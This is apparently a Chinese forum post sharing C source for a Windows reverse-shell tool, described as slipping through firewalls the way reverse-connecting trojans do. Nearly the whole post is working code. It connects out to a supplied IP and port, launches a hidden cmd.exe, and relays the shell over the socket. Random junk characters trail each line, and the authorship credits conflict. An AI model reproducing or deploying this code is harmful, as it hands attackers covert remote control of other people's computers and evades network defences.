这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _6Ex}`fyJ
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/* ============================== .tFMa:
Rebound port in Windows NT y7&8P8R
By wind,2006/7 R9dC$Y]\M
===============================*/ g 0=Q>TzY
#include zYL</!6a[
#include S`N_},
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#pragma comment(lib,"wsock32.lib") 0zscOE{
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void OutputShell(); Ds}ctL{6"
SOCKET sClient; T[$! ^WT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CO+[iJ,4C+
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void main(int argc,char **argv) 47(/K2
{ hvc%6A\nm
WSADATA stWsaData; \I3={ii0
int nRet; ]7#@lL;'0
SOCKADDR_IN stSaiClient,stSaiServer; wF@mHv
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if(argc != 3) Hh|a(Zq,
{ |G!P G6%1
printf("Useage:\n\rRebound DestIP DestPort\n"); ^+v6?%m
return; p-KMELB
} a.oZ}R7'Y
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WSAStartup(MAKEWORD(2,2),&stWsaData); zAr@vBfC%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Glt%%TJb
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stSaiClient.sin_family = AF_INET; #<^ngoOj
stSaiClient.sin_port = htons(0); Ax'jNol
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8ec6J*b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wix/Az
{ uU7s4oJ|
printf("Bind Socket Failed!\n"); h` 1{tu
return; j|WuOZm\0
} f,e7;u z%
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stSaiServer.sin_family = AF_INET; X={n9*Sd8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c5 jd
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xe4F4FC'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _t9@
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{ {95z\UE}
printf("Connect Error!"); )v4?+$g
return; 4V$DV!dPQ}
} a0s6G3J+9
OutputShell(); Hl@)j
} 319 &:
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void OutputShell() _~^JRC[q
{ jK#[r[q{
char szBuff[1024]; ;bC163[
SECURITY_ATTRIBUTES stSecurityAttributes; x{$~u2|
OSVERSIONINFO stOsversionInfo; 2 g)W-M
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L `fDc
STARTUPINFO stStartupInfo; pi'w40!:
char *szShell; @kq~q;F
PROCESS_INFORMATION stProcessInformation; ~ jR:oN
unsigned long lBytesRead; ` 0YI?$G1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c4T8eTKU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ddf#c,SQ
stSecurityAttributes.lpSecurityDescriptor = 0; ,mu=#}a@}
stSecurityAttributes.bInheritHandle = TRUE; #0i] g)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c<'Pt4LY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z+zx*(X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (TQx3DGq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; **zh>Y}6
stStartupInfo.wShowWindow = SW_HIDE; kF09t5Lr
stStartupInfo.hStdInput = hReadPipe; D@M
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Anpx%NVo
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GetVersionEx(&stOsversionInfo); F?+K~['i
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switch(stOsversionInfo.dwPlatformId) INm21MS$
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case 1: pH?tr
szShell = "command.com"; MZpG1
break; ERql^Yr
default: /Dn,;@ZwAi
szShell = "cmd.exe"; U%swqle4
break; +m> %(?=A
} f}4bnu3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8=]R6[,fD
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send(sClient,szMsg,77,0); zi^T?<t
while(1) M_o<6C
{ )PM&x
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qRD]Q
if(lBytesRead) sknta0^=2
{ 5LT{]&`9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EF7Y 4lp
send(sClient,szBuff,lBytesRead,0); \]uo^@$bm
} p8%/T>hK
else W!$aK )]4u
{ tMWDKatb
lBytesRead=recv(sClient,szBuff,1024,0); !'4HUB>+
if(lBytesRead<=0) break; ?m)3n0Uh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RhJ{#G~:%
} 6LGy0dWpG
} n4albG4
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return; {b|:q>Be8
}